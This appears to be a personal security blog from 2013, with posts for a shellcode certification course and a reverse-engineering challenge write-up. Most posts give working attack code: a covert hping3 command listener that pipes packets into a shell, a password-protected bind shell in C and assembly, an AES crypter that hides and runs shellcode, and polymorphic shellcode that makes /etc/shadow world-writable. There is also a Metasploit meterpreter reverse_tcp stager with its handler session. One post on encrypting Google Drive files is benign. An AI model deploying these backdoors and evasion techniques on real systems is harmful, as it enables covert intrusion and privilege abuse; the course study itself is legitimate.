Pages

Friday, November 1, 2013

Create a hidden command listener by reusing an open port

Scenario:
- Box A - victim, running a network service on port 8834. We'll reuse this
- Box B - attacker host behind NAT. Will transmit commands to the listener waiting on the victim.

This is similar to a reverse shell from box A to box B, except that B will need another way to view results of the commands executed on A.

A:
$ sudo hping3 --listen SecretSignature -I vboxnet0 -p 8834 | /bin/sh

--listen - Listen mode. Waits for packets containing the signature and dump the data from signature to the end of the packet
-I - Interface to listen on
-p - listening port

This will intercept packets and dump the content after a matching signature. Commands will be passed to the shell to be executed. Another trick would be needed to view the output of the commands though.

B:
$ sudo hping3 --count 1 --data 200 --file commands.txt --sign SecretSignature 192.168.56.1 -V -p 8834

--count 1 - stop after sending 1 packet
--data 200 - set packet body size in bytes
--file - fill packet with data from file
--sign - fill first a signature in the packet
-V - verbose
-p - destination port

$ cat commands.txt
echo 123 > hacked.txt
whoami > log.txt
uname -a >> log.txt
pwd >> log.txt
ls -al >> log.txt
ifconfig -a >> log.txt

(New line at the end, to get the last command executed !)
Verify on victim's A machine that commands have been executed and results saved in the corresponding files.

Wednesday, August 7, 2013

Store encrypted files on Google Drive

 We'll use the Grive Linux client for Google Drive and EncFS to create a 'safe' in the cloud, inside Google Drive and mount it locally:

1. Install Grive
sudo add-apt-repository ppa:nilarimogard/webupd8
sudo apt-get update
sudo apt-get install grive
2. How to use
Create a working folder :
mkdir ~/grive
cd ~/grive/
Initial setup will require an authorization token from Google. Paste the link generated by the following command into the browser, get the token and paste it into the application
grive -a
Synchronization of all the files in the cloud:
grive
3. Create an encrypted safe
For this I've used EncFS to create an encrypted filesystem inside the folder for the Google Drive:
apt-get install encfs
mkdir -p ~/grive/safe
mkdir -p ~/safe
Mount the encrypted safe to a decrypted folder (open the safe). If EncFS cannot find a filesystem at the specified location, it will create a new encrypted file system there.
encfs ~/grive/safe/ ~/safe/
I've used the paranoia mode for the initial setup - AES-256, PBKDF2, 160 bit salt, External IV Chaining (More details about the settings in the man page).
To verify that it was mounted correctly:
df -hT
encfs        fuse.encfs  455G  232G  200G  54% /home/liv/safe
Test the whole setup:
cd ~/safe/
echo "secret" > test.txt
cat test.txt
secret
ls ~/grive/safe/
pr6KT6wBszfvBqNLIo2pPliZ
Unmount the encrypted volume (close the safe):
sudo fusermount -u ~/safe

Notes
1. EncFS uses a file named .encfs6.xml to define the encrypted storage settings. This hidden file is not synchronized by Grive. 
Solution: get a patched version of Grive or rename the file and store it on Google Drive. 
After synchronizing Grive on another machine, rename the encfs6.xml file to .encfs6.xml.
2. Problem:
fusermount: failed to open /dev/fuse: Permission denied
Solution:
usermod -aG fuse
reboot


References
EncFS Encrypted Filesystem
Grive - Open source Linux client for Google Drive
Synchronise hidden files other than .grive*

Monday, August 5, 2013

Reverse Engineering challenge - Coursera Malicious Software course (anti-ptrace)

Malicious Software course, from Coursera, presented ways of malware to avoid detection and being reverse engineered, and also methods to detect and analyse them. Very interesting, especially the bonus challenge which is a small Linux binary, with some obfuscations protecting a secret.
Now that the course has finished, I can safely share the solution for the Reverse Engineering bonus challenge.

 

Overview

The binary has all symbols stripped out and also has some basic anti-debugging techniques in place.
$ file bonus_reverse-challenge
bonus_reverse-challenge: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x2fe5f1647532449ffeef36a7fa31ae8319c8818d, stripped

The strings command reveals some interesting stuff:
$ strings bonus_reverse-challenge
. . .
socket
fflush
exit
htons
connect
puts
printf
mkstemp
read
stdout
inet_addr
close
sleep
write
/tmp
/bti
... 
xKZl_^_XCY^CIE
woot!
127.0.0.1
Dude, no debugging ;-)
Are you feeling lucky today?
[+] WooT!: %s
[~] Maybe.
[-] Nope.
Some socket operations and file manipulation. Also an ASCII string with some XOR characters (^) in it (hint ?!). Interesting. We can brute force it quickly to see if we get something meaningful out of it:
enc = "xKZl_^_XCY^CIE"
for key in range(0, 127):
    print "".join([chr(ord(c)^key) for c in enc])
$ ./decr.py
. . .
RapFuturistico

Analysis

If we start the application, we get a prompt and no hints about what to do next:
$ ./bonus_reverse-challenge
Are you feeling lucky today?
(The 'Yes' answer is not accepted by the application :) )
If we try to analyse it in gdb, we encounter another error:
$ gdb ./bonus_reverse-challenge 
Reading symbols from /home/liv/buffer/coursera/Malicious software/Week3/bonus-challenge/bonus_reverse-challenge...(no debugging symbols found)...done.
(gdb) run
Starting program: /home/liv/buffer/coursera/Malicious software/Week3/bonus-challenge/bonus_reverse-challenge 
Dude, no debugging ;-)
If we use the strace tool (same technique also used by gdb) we see exactly what happens:
$ strace ./bonus_reverse-challenge
. . .
ptrace(PTRACE_TRACEME, 3215099972, 0xbfa287d4, 0) = -1 EPERM (Operation not permitted)
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb76fa000
write(1, "Dude, no debugging ;-)\n", 23Dude, no debugging ;-)
So the process tries to allow tracing, but as it is already traced (by strace) the ptrace system call returns -1.
This is a classic anti-debugging technique which can by bypassed in multiple ways.

Reverse engineering

First we have to get rid of the anti-ptrace protection. If we set a breakpoint in gdb at __libc_start_main and we step through some instructions, we find the code responsible for the ptrace system call:
EBX:  0x00000000 ; Type of request. 0 means PTRACE_TRACEME
=>    0x8048938: mov al,0x1a ; sys_ptrace syscall
      0x804893a: int 0x80    ; interrupt to execute syscall

I chose to do a binary patching at this point, as there are only a few instructions which have to be removed to get rid of the ptrace syscall. In assembly the instructions look like this:
 8048938:    b0 1a                    mov al, 0x1a
 804893a:    cd 80                    int 0x80
We can get the dump of the whole file with
$ objdump -M intel -d bonus_reverse-challenge
We'll overwrite them with nops:
set *(unsigned long*)0x8048938 = 0x90909090

After some more browsing we find the code responsible with parsing the input from the user. It seems to be a case which calls a function then displays a message based on the first letter of the input string. And there are 3 possibilities:
   0x8048a18:    movzx  eax,BYTE PTR [esp+0x20] ; input string
   0x8048a1d:    movsx  eax,al              ; first letter !
   0x8048a20:    cmp    eax,0x42
   0x8048a23:    je     0x8048a3c
   0x8048a25:    cmp    eax,0x43
   0x8048a28:    je     0x8048a49
   0x8048a2a:    cmp    eax,0x41
   0x8048a2d:    jne    0x8048a56
   0x8048a2f:    mov    DWORD PTR [esp+0x22c],0x804872b ; check function for A..
   0x8048a3a:    jmp    0x8048a58
   0x8048a3c:    mov    DWORD PTR [esp+0x22c],0x8048644 ; check function for B..
   0x8048a47:    jmp    0x8048a58
   0x8048a49:    mov    DWORD PTR [esp+0x22c],0x80486ca ; check function for C..
   0x8048a54:    jmp    0x8048a58
We test this manually:
$ ./bonus_reverse-challenge
Are you feeling lucky today? A
[~] Maybe.
$ ./bonus_reverse-challenge
Are you feeling lucky today? B
[-] Nope.
$ ./bonus_reverse-challenge
Are you feeling lucky today? C
[~] Maybe.
If we were to believe the developer, we should go for Asomething or Csomething and further analyse.
Let's try Bsomething variant (A... is interesting for analyses also but doesn't get us to the key)
We quickly find references to the encrypted string found initially and a comparing routine, which computes a key and applies XOR to the input string using that key:
   0x8048664:    mov    DWORD PTR [ebp-0x10],0xfa ; key
   0x804866b:    pop    eax                       ; input string address
   0x804866c:    jmp    0x8048685
   0x804866e:    mov    eax,DWORD PTR [ebp-0xc]   ; first char of input string
   0x8048671:    movzx  eax,BYTE PTR [eax]
   0x8048674:    mov    edx,DWORD PTR [ebp-0x10]
   0x8048677:    and    edx,0x2b                  ;  key becomes 0x2A
   0x804867a:    xor    edx,eax
   0x804867c:    mov    eax,DWORD PTR [ebp-0xc]
   0x804867f:    mov    BYTE PTR [eax],dl
   0x8048681:    add    DWORD PTR [ebp-0xc],0x1
   0x8048685:    mov    eax,DWORD PTR [ebp-0xc]
   0x8048688:    movzx  eax,BYTE PTR [eax]
   0x804868b:    test   al,al
   0x804868d:    jne    0x804866e                  ; loop
   0x804868f:    mov    eax,DWORD PTR [ebp+0x8]
   0x8048692:    mov    edx,eax
   0x8048694:    mov    eax,0x8048bc0              ; "xKZl_^_XCY^CIE"
   0x8048699:    mov    ecx,0xf 
   0x804869e:    mov    esi,edx
   0x80486a0:    mov    edi,eax
   0x80486a2:    repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
E(M, K) = "xKZl_^_XCY^CIE"
Where:
  E - XOR encoding
  M - Input message after 'B' character
  K - Computed key: 0xFA && 0x2B = 0x2A  
We reverse the algorithm and get the input message we need:
$ python -c 'print "".join([chr(ord(c)^0x2a) for c in "xKZl_^_XCY^CIE"])'
RapFuturistico
So if the input string encodes to the string we found initially, the function returns 1 and we get a nice message:
$ ./bonus_reverse-challenge
Are you feeling lucky today? BRapFuturistico
[+] WooT!: xKZl_^_XCY^CIE

Nice! Many thanks to the authors for putting together the course and the challenge.

 

References

Linux Anti-Debugging
Linux Syscall reference
Executable patching with GDB

Sunday, August 4, 2013

Bind TCP Shellcode - with password

 As with the bind TCP shellcode, I've first started with a small C program to do this and analysed the system calls. The following program listens for incoming connections, prints a prompt message, reads some input and spawns a new shell if the input is equal to the password:
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>

/* receiving password buffer size */
#define     BUFSIZE      10

/* Listening port */
#define     PORT         8585

/* Password prompt */
char prompt[] =  \
    "<html>\n"
    "<body>\n"
    " <h1>Error 404 - Try elsewhere</h1>\n"
    "\n" 
    "</body>\n"
    "</html>\n";

char password[] = "s3cr37";

int main() {
    int listenfd = 0, connfd = 0;    
    int ret = 0;
    char buffer[BUFSIZE];

    struct sockaddr_in serv_addr;

    // Create an un-named socket. returns socket descriptor
    listenfd = socket(AF_INET, SOCK_STREAM, 0);

    memset(&serv_addr, '0', sizeof(serv_addr));
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
    serv_addr.sin_port = htons(PORT);

    bind(listenfd, (struct sockaddr*) &serv_addr, sizeof(serv_addr));

    // Listen on the created socket for maximum 1 client connection
    listen(listenfd, 1);

    // Sleep waiting for client requests
    connfd = accept(listenfd, (struct sockaddr*) NULL, NULL);
    printf("Created accept socket: %d\n", connfd);

    // Send fake prompt and wait for the password
    ret = send(connfd, prompt, strlen(prompt), 0); 
    if (-1 == ret) {
        printf("Send failed: %s\n", strerror(errno));
        return 1;
    }

    // Read password
    ret = recv(connfd, buffer, BUFSIZE, 0);
    if (-1 == ret) {
        printf("Recv failed: %s\n", strerror(errno));
        return 1;
    } else {
        printf("Received: %s", buffer);
    }

    // Compare
    if (!strncmp(buffer, password, strlen(password))){
        printf("Correct password. Opening shell...\n");    
    } else {
        close(listenfd);
        close(connfd);
        return 1;
    }

    // Duplicate stdin, stdout, stderr
    ret = dup2(connfd, 0);
    if (-1 == ret) {
        printf("STDIN duplication failed: %s\n", strerror(errno));
        return 1;
    }

    ret = dup2(connfd, 1);
    if (-1 == ret) {
        printf("STDOUT duplication failed: %s\n", strerror(errno));
        return 1;
    }

    ret = dup2(connfd, 2);
    if (-1 == ret) {
        printf("STDERR duplication failed: %s\n", strerror(errno));
        return 1;
    }

    // Replace process image
    char *args[2];
    args[0] = "/bin/sh";
    args[1] = NULL;      // Needs to ne a NULL terminated list of args

    ret = execve(args[0], args, NULL);
    if (-1 == ret) {
        printf("Execve failed: %s\n", strerror(errno));
        return 1;
    }

    return 0;
}
If we supply the correct password we get the shell:
$ gcc -Wall shell_bind_tcp.c -o shell_bind_tcp
$ ./shell_bind_tcp_passw  &
[1] 4528
Created accept socket: 5
Received: s3cr37
ลน� Correct password. Opening shell...
$ nc -nvv 192.168.56.1 8585
(UNKNOWN) [192.168.56.1] 8585 (?) open


Error 404 - Try elsewhere

s3cr37 whoami liv

The next step is to reproduce these system calls in assembly and get the shellcode. This is easy to do, if we start from the previous TCP bind shellcode and add a recv call and compare input:
global _start   

section .text
_start:

    ; Linux Syscall Reference
    ; http://syscalls.kernelgrok.com/


    ; 1. socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = listenfd
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    push ecx        ; NULL terminate args list
    mov cl, 6       ; IPPROTO_TCP (6)
    push ecx
    xor ecx, ecx
    mov cl, 1       ; SOCK_STREAM (1) - in socket.h
    push ecx
    xor ecx, ecx
    mov cl, 2       ; PF_INET (2) - IP PROTO FAMILY
    push ecx
    mov ecx, esp    ; socketcall arguments
    xor ebx, ebx
    mov bl, 1       ; socketcall type of call: SYS_SOCKET (1) 
    push 102
    pop eax         ; socketcall syscall
    int 0x80
    mov edx, eax    ; listenfd is returned in eax. Save into edx    

    ; 2. bind(listenfd, {sa_family=AF_INET, sin_port=htons(4444), \
    ;       sin_addr=inet_addr("0.0.0.0")}, 16)
    ;struct sockaddr_in {
    ;    short            sin_family;   // e.g. AF_INET, AF_INET6
    ;    unsigned short   sin_port;     // e.g. htons(3490)
    ;    struct in_addr   sin_addr;     // see struct in_addr, below
    ;    char             sin_zero[8];  // zero this if you want to
    ;};
    ;struct in_addr {
    ;    unsigned long s_addr;          // load with inet_pton()
    ;};
    xor ecx, ecx    ; Construct sockaddr structure on the stack
    push ecx        ; inet_addr - 0.0.0.0 - INADDR_ANY
    push word 0x8921; 16 bits - port number (8585 decimal)
    push word 2     ; family - AF_INET (2)
    mov ecx, esp    ; pointer to args

    push byte 0x10  ; Address length - 16 bytes
    push ecx        ; Pointer to sockaddr_in structure
    push edx        ; listenfd from socket call

    mov ecx, esp    ; socketcall arguments
    xor ebx, ebx
    mov bl, 2       ; socketcall type of call: SYS_BIND (2)
    xor eax, eax
    mov al, 102     ; socketcall syscall
    int 0x80

    ; 3. listen(listenfd, 1)
    push 1          ; max connections
    push edx        ; listenfd
    mov ecx, esp    ; pointer to socketcall arguments
    push 4
    pop ebx         ; SYS_LISTEN (4)
    push 102
    pop eax         ; socketcall syscall
    int 0x80
 
    ; 4. accept(listenfd, 0, NULL) = connfd
    xor ecx, ecx
    push ecx        ; NULL
    push ecx        ; 0
    push edx        ; listenfd
    mov ecx, esp    ; pointer to socketcall arguments
    push 5
    pop ebx         ; SYS_ACCEPT = 5
    push 102
    pop eax         ; socketcall syscall
    int 0x80        ; connfd will be in eax
    mov edx, eax    ; save new connection descriptor

    ; 5. recv(connfd, buffer, BUFSIZE, 0)
    ; recv(int sockfd, void *buf, size_t len, int flags);
    xor ecx, ecx    
    push   ecx      ; flags (0)
    push   0xa      ; buffer size
    lea    ecx, [esp + 8]
    push   ecx      ; addres of buffer
    mov edi, ecx    ; save address of buffer for further comparison
    push   edx      ; sockfd
    mov    ecx, esp ; ECX - params of socket call    
    push 10
    pop ebx         ; EBX - type of socketcall - SYS_RECV (10)
    push 102
    pop eax         ; socketcall syscall
    int 0x80        ; connfd will be in eax


    ; 6. compare password
 mov ecx, 6      ; passwd len
    ; pass: s3cr37 - 73 33 63 72 33 37 
    push 0xAAAA3733
    push 0x72633373
 mov esi, esp
    ; address of buffer is already saved in edi
 repe cmpsb
 jz correct_pass
    
    ; exit()
    xor eax, eax
 mov al, 1
 xor ebx, ebx
    mov bl, 7
 int 0x80

correct_pass:
    ; 7. dup2(connfd, 2), dup2(connfd, 1), dup2(connfd, 0)
    push 2
    pop ecx         ; ecx - newfd
    mov ebx, edx    ; edx - connfd, ebx - oldfd
    dup_loop:
    mov al, 63      ; dup2 syscall
    int 0x80
    dec ecx
    jns dup_loop    ; exit when signed (-1)
      
    ; 8. execve("/bin/sh", ["/bin/sh"], [/* 0 vars */])
 ; PUSH the first null dword 
 xor eax, eax
 push eax

    ; PUSH //bin/sh (8 bytes) 
 push 0x68732f2f ; 'hs//'
 push 0x6e69622f ; 'nib/
 mov ebx, esp    ; EBX - 1st param - NULL terminated filename

 push eax        ; EDX - 3rd param - NULL terminated list of env variables
 mov edx, esp    ; NULL terminator must be set before setting the 2nd param!

 push ebx        ; ECX - 2nd param - array of argument strings
 mov ecx, esp

 mov al, 11      ; execve syscall
 int 0x80



The complete source files, wrapper script and test shellcode can be found in  a git repository at:
SLAE


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:       
www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/   
Student ID: SLAE- 449
    

AES Shellcode crypter

This is the last assignment of SLAE: building a shellcode crypter. Thanks Vivek and the team at SecurityTube for the course!
  • I  chose to do the encryption using python-crypto library. I used AES-128, in CBC mode with PKCS5 padding
  • I did the decryption of the shellcode using the easily integrable PolarSSL AES source code
The encryption password is provided on the command line, then the python script hard-codes it in the decrypter and builds it. For exemplify I've used the execve-stack shellcode:
$ ./encrypt_payload_polar.py 
Usage:
    ./encrypt_payload_polar.py [passphrase]
    
$ ./encrypt_payload_polar.py s3cr37
[+] Shellcode (len 32):
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
[+] Key:
"\xe8\xca\xa8\xd3\x69\x22\xbe\x22\xf3\x2e\x08\x30\x11\xc0\xef\xbc"
[+] IV:
"\x07\xb0\x24\x02\x5b\x00\x68\xfc\x34\x30\x5e\x42\x64\x24\x39\x99"
[+] Encrypted shellcode (len 134): 
"\x0d\x18\x30\xe5\xca\x14\x13\x3d\x5e\xb2\xfa\xeb\x60\x1d\x51\x9b"
"\x24\x74\x64\xd7\x17\x9f\x32\xdf\xbf\x36\xf4\x91\x9c\x03\x09\xfb"
[+] Compiling:
 -> gcc -Wall -z execstack -o encrypted_shellcode temp.c PolarSSL/aes.c PolarSSL/md5.c
 -> strip --strip-all encrypted_shellcode
 -> rm temp.c
[*] Done.
$ ./encrypted_shellcode 
#

 The encrypter/decrypter uses the password to generate a 128 bits key, by hashing the password.
The PolarSSL is extremely easy to integrate and use, compared with the OpenSSL, and the generated binary is also much smaller as only AES and MD5 functions are linked in. Here's a snippet of the decrypter code that does the main bits:
    unsigned char key[16];
    unsigned char iv[16] = 
"\xb4\x9d\x64\x10\xa8\x3b\x1b\xa9\x29\xc4\x4b\x09\xfe\x2c\xd3\x56";

    unsigned char input[] = 
"\x24\x06\xa6\xe4\x5d\xc4\xc0\x0e\x36\x7d\x05\x5a\xfe\xc1\x07\x0c"
"\x31\x48\xef\x06\x0f\x09\x84\x98\x03\x3e\x04\x1e\x08\x6d\xb2\xe3";
    size_t input_len = 32;
    unsigned char output[32];

    unsigned char passw[] = "s3cr37";
    size_t in_len = 6;

    /* Generate a 128 bits key from the password */
    md5_context md5_ctx;
    md5_starts(&md5_ctx);
    md5_update(&md5_ctx, passw, in_len);
    md5_finish(&md5_ctx, key);

    /* Decrypt the payload */
    aes_context aes;
    aes_setkey_dec(&aes, key, 128);
    aes_crypt_cbc(&aes, AES_DECRYPT, input_len, iv, input, output);

    /* Execute decrypted shellcode */
    ((void (*)()) output)();


The python script uses a template of the decrypter and fills in the encrypted shellcode, the lengths, IV and key and then generates the encrypted binary. Below is a snippet of the main function:
def make_binary(password):
    sc_len = len(pad(shellcode))
    print_done("[+] Shellcode (len %d):" % (sc_len))
    print "%s" % (to_hex(shellcode))

    # Generate a secret key and random IV
    h = MD5.new()

    h.update(password)
    key = h.digest()
    str_key = to_hex(key)
    print_done("[+] Key:")
    print "%s" % str_key

    # Generate random IV
    iv = os.urandom(BS)
    str_iv = to_hex(iv) #"\"%s\"" % "".join(["\\x%02x" % ord(c) for c in iv])
    print_done("[+] IV:")
    print "%s" % str_iv

    # Create a cipher object using the random secret
    cipher = AES.new(key, AES.MODE_CBC, iv)

    enc = cipher.encrypt(pad(shellcode))
    str_enc = to_hex(enc)
    print_done("[+] Encrypted shellcode (len %d):" % (len(str_enc)))
    print "%s" % (str_enc)

    outline = open(decrypt_shell).read()
    code = outline % (str_iv, str_enc, sc_len, sc_len, password, len(password))

    # Write to temporary source file
    o = open(temp_src, "w")
    o.write(code)
    o.close()

    # Compile
    compile_cmd = "gcc -Wall -z execstack -o %s %s PolarSSL/aes.c PolarSSL/md5.c" % \
       (out_file, temp_src)
    print_done("[+] Compiling:") 
    print " -> %s" % compile_cmd
    os.system(compile_cmd)


    # Strip all symbols
    strip_cmd = "strip --strip-all %s" % (out_file)
    print " -> %s" % (strip_cmd)
    os.system(strip_cmd)

    # Delete intermediate files
    clean_cmd = "rm %s" % (temp_src)
    print " -> %s" % (clean_cmd)
    os.system(clean_cmd)

    print_ok("\n[*] Done. Run ./%s" % (out_file))

The complete source files and scripts mentioned in this post can be found in the Git repository:
SLAE

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:       
www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/   
Student ID: SLAE- 449

Polymorphic shellcodes

 For this assignment I've taken 3 shellcodes from  Shell-Storm and modify them to avoid pattern matching. Some techniques I've used to do this:
  • Add garbage/nop-like instructions
    nop
    
    mov al,al  
    mov bl,bl  
    mov cl,cl  
    ...  
    mov ax,ax  
    mov bx,bx  
    mov cx,cx  
    ...  
    xchg ax,ax  
    xchg bx,bx  
    xchg cx,cx  
    ...  
    lea eax, [eax + 0x00]  
    lea eax, [eax + 0x00]  
    lea eax, [eax + 0x00]  
    
  • Add instructions without effect (e.g.: modify registers that don't affect the execution flow)
  • Switch between mov, (push + pop), (clear + add)
    mov push + pop clear + add
    mov al, 0xb push byte 0xb xor eax, eax
    pop eax add al, 0xb
  • Switch between push and (mov + add + push)
    push mov + add + push
    push 0x23456789 mov esi, 0x12345678
    add esi, 0x11111111
    push esi
  • Change between push and directly accessing the stack
    push stack access
    push 0x64777373 mov dword [esp-4], 0x64777373
    sub esp, 4

Execve()

First one is a polymorphic version of the execve() of the following shellcode:
    00000000  31C0              xor eax,eax
    00000002  31DB              xor ebx,ebx
    00000004  31C9              xor ecx,ecx
    00000006  B017              mov al,0x17
    00000008  CD80              int 0x80
    0000000A  31C0              xor eax,eax
    0000000C  50                push eax
    0000000D  686E2F7368        push dword 0x68732f6e
    00000012  682F2F6269        push dword 0x69622f2f
    00000017  89E3              mov ebx,esp
    00000019  8D542408          lea edx,[esp+0x8]
    0000001D  50                push eax
    0000001E  53                push ebx
    0000001F  8D0C24            lea ecx,[esp]
    00000022  B00B              mov al,0xb
    00000024  CD80              int 0x80
    00000026  31C0              xor eax,eax
    00000028  B001              mov al,0x1
    0000002A  CD80              int 0x80
And my changed version :
    xor eax,eax
    mov ebx, eax            ; xor ebx,ebx
    mov ecx, ebx            ; xor ecx,ecx
    push 0x17               ; mov al,0x17
    pop ax
    xchg ecx, ecx           ; NOP added
    int 0x80                ; sys_setuid()

    xor eax,eax
    push eax
    mov dword [esp-4], 0x68732f6e ; push dword 0x68732f6e
    mov dword [esp-8], 0x69622f2f ; push dword 0x69622f2f
    sub esp, 8             ; increase the stack pointer
    mov ebx,esp
    lea edx,[esp+0x8]
    push eax
    push ebx
    lea ecx,[esp]
    mov al,0xb
    xor esi, esi            ; NOP added
    lea eax, [eax + esi]    ; NOP added
    int 0x80                ; execve()

    xor eax,eax
    mov al,0x1
    int 0x80                ; exit()

I've changed how registers are zeroed and how values were pushed on the stack and added some instructions with no effect.

Chmod /etc/shadow

 The next shellcode changes the permissions of /etc/shadow file:
xor    %eax,%eax
push   %eax
pushl  $0x776f6461
pushl  $0x68732f2f
pushl  $0x6374652f
movl   %esp,%esi
push   %eax
pushl  $0x37373730
movl   %esp,%ebp
push   %eax
pushl  $0x646f6d68
pushl  $0x632f6e69
pushl  $0x622f2f2f
mov    %esp,%ebx
pushl  %eax
pushl  %esi
pushl  %ebp
pushl  %ebx
movl   %esp,%ecx
mov    %eax,%edx
mov    $0xb,%al
int    $0x80
And my changed version:
    xor eax,eax
    push eax
    push dword 0x776f6461
    mov esi, 0x56611d1d         ; push dword 0x68732f2f
    lea edi, [esi]              ; junk
    add esi, 0x12121212
    push esi
    push dword 0x6374652f       ; '/etc/shadow'
    mov esi,esp
    push eax
    push dword 0x37373730       ; 0777
    mov ebp,esp
    push eax
    push dword 0x646f6d68
    mov edi, 0x030f0e09         ; push dword 0x632f6e69       
    add edi, 0x60206060
    push edi
    push word 0x622f            ; /bin/chmod
    mov ebx,esp
    push eax
    push esi
    push ebp
    push ebx
    mov ecx,esp
    mov edx,eax
    xor eax, eax                ; mov al,0xb
    add al, 0xa
    add al, 0x1
    xchg ecx, ecx               ; NOP added
    int 0x80


Reboot

Last one is a reboot shellcode:
8048054:       31 c0                   xor    %eax,%eax
8048056:       50                      push   %eax
8048057:       68 62 6f 6f 74          push   $0x746f6f62
804805c:       68 6e 2f 72 65          push   $0x65722f6e
8048061:       68 2f 73 62 69          push   $0x6962732f
8048066:       89 e3                   mov    %esp,%ebx
8048068:       50                      push   %eax
8048069:       89 e2                   mov    %esp,%edx
804806b:       53                      push   %ebx
804806c:       89 e1                   mov    %esp,%ecx
804806e:       b0 0b                   mov    $0xb,%al
8048070:       cd 80                   int    $0x80
And my modified version:
    xor eax,eax
    push eax
    push dword 0x746f6f62
    mov edi, 0x05020f0e      ; push dword 0x65722f6e
    add edi,0x60702060
    push edi
    push dword 0x6962732f    ; /sbin/reboot
    mov ebx,esp
    push eax
    mov edx,esp
    push ebx
    mov ecx,esp
    push 0xa
    pop eax
    add al, 1                ; mov al,0xb
    int 0x80

The complete source files and scripts mentioned in this post can be found in the Git repository:
SLAE

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:       
www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/   
Student ID: SLAE- 449

Metasploit Linux meterpreter/reverse_tcp shellcode

This post is part of the 5th assignment of the SLAE course and will analyse another Metasploit shellcode: meterpreter/reverse_tcp.
First we'll check the description of this shellcode:
# msfpayload linux/x86/meterpreter/reverse_tcp S

       Name: Linux Meterpreter, Reverse TCP Stager
     Module: payload/linux/x86/meterpreter/reverse_tcp
    Version: 0
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 178
       Rank: Normal

Provided by:
  PKS
  egypt <egypt@metasploit.com>
  skape <mmiller@hick.org>

Basic options:
Name          Current Setting  Required  Description
----          ---------------  --------  -----------
DebugOptions  0                no        Debugging options for POSIX meterpreter
LHOST                          yes       The listen address
LPORT         4444             yes       The listen port
PrependFork                    no        Add a fork() / exit_group() (for parent) code

Description:
  Connect back to the attacker, Staged meterpreter server
To test it, we'll insert the 1st stage payload into the skeleton tester file:
# msfpayload linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 C
/*
 * linux/x86/meterpreter/reverse_tcp - 71 bytes (stage 1)
 * http://www.metasploit.com
 * VERBOSE=false, LHOST=192.168.56.101, LPORT=4444, 
 * ReverseConnectRetries=5, ReverseAllowProxy=false, 
 * EnableStageEncoding=false, PrependSetresuid=false, 
 * PrependSetreuid=false, PrependSetuid=false, 
 * PrependSetresgid=false, PrependSetregid=false, 
 * PrependSetgid=false, PrependChrootBreak=false, 
 * AppendExit=false, AutoLoadStdapi=true, 
 * InitialAutoRunScript=, AutoRunScript=, AutoSystemInfo=true, 
 * EnableUnicodeEncoding=true, PrependFork=false, 
 * DebugOptions=0
 */
unsigned char buf[] = 
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\x89\xe1\xcd\x80"
"\x97\x5b\x68\xc0\xa8\x38\x65\x68\x02\x00\x11\x5c\x89\xe1\x6a"
"\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\xb2\x07\xb9\x00\x10"
"\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd\x80\x5b"
"\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1";

/*
 * linux/x86/meterpreter/reverse_tcp - 1126400 bytes (stage 2)
 * http://www.metasploit.com
 */
unsigned char buf[] = 
"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x02\x00\x03\x00\x01\x00\x00\x00\x05\xfe\x04\x20\x34\x00"
. . . 
We don't care about the 2nd stage because it will be transmitted to the client after connection. Then start a multi handler which will receive the connection and send the 2nd stage payload:
msf exploit(handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   DebugOptions  0                no        Debugging options for POSIX meterpreter
   LHOST         192.168.56.101   yes       The listen address
   LPORT         4444             yes       The listen port

msf exploit(handler) > exploit -j -z
We send the compiled stage 1:
$ ./shellcode
Shellcode Length:  24 bytes
(Shellcode contains null bytes)
And we get in the handler:
msf exploit(handler) > 
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1126400 bytes) to 192.168.56.1
[*] Meterpreter session 1 opened (192.168.56.101:4444 -> 192.168.56.1:33626) at 2013-07-21 21:21:08 +0100

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid 
Server username: uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000
So the shellcode is working as expected. We proceed to analyse the payload with the shellcode tester from libemu:
# msfpayload linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 R > shellcode.bin
# ls -al shellcode.bin 
-rwxrwx--- 1 root vboxsf 71 Jul 21 21:25 shellcode.bin
(71 bytes. It's stage 1)
$ cat shellcode.bin | /opt/libemu/bin/sctest -vvv -S -s 1000 -G shellcode.dot
And there's the first part of the shellcode that it was possible to be decoded by the emulator:
int socket (
     int domain = 2;
     int type = 1;
     int protocol = 0;
) =  14;
int connect (
     int sockfd = 14;
     struct sockaddr_in * serv_addr = 0x00416fbe => 
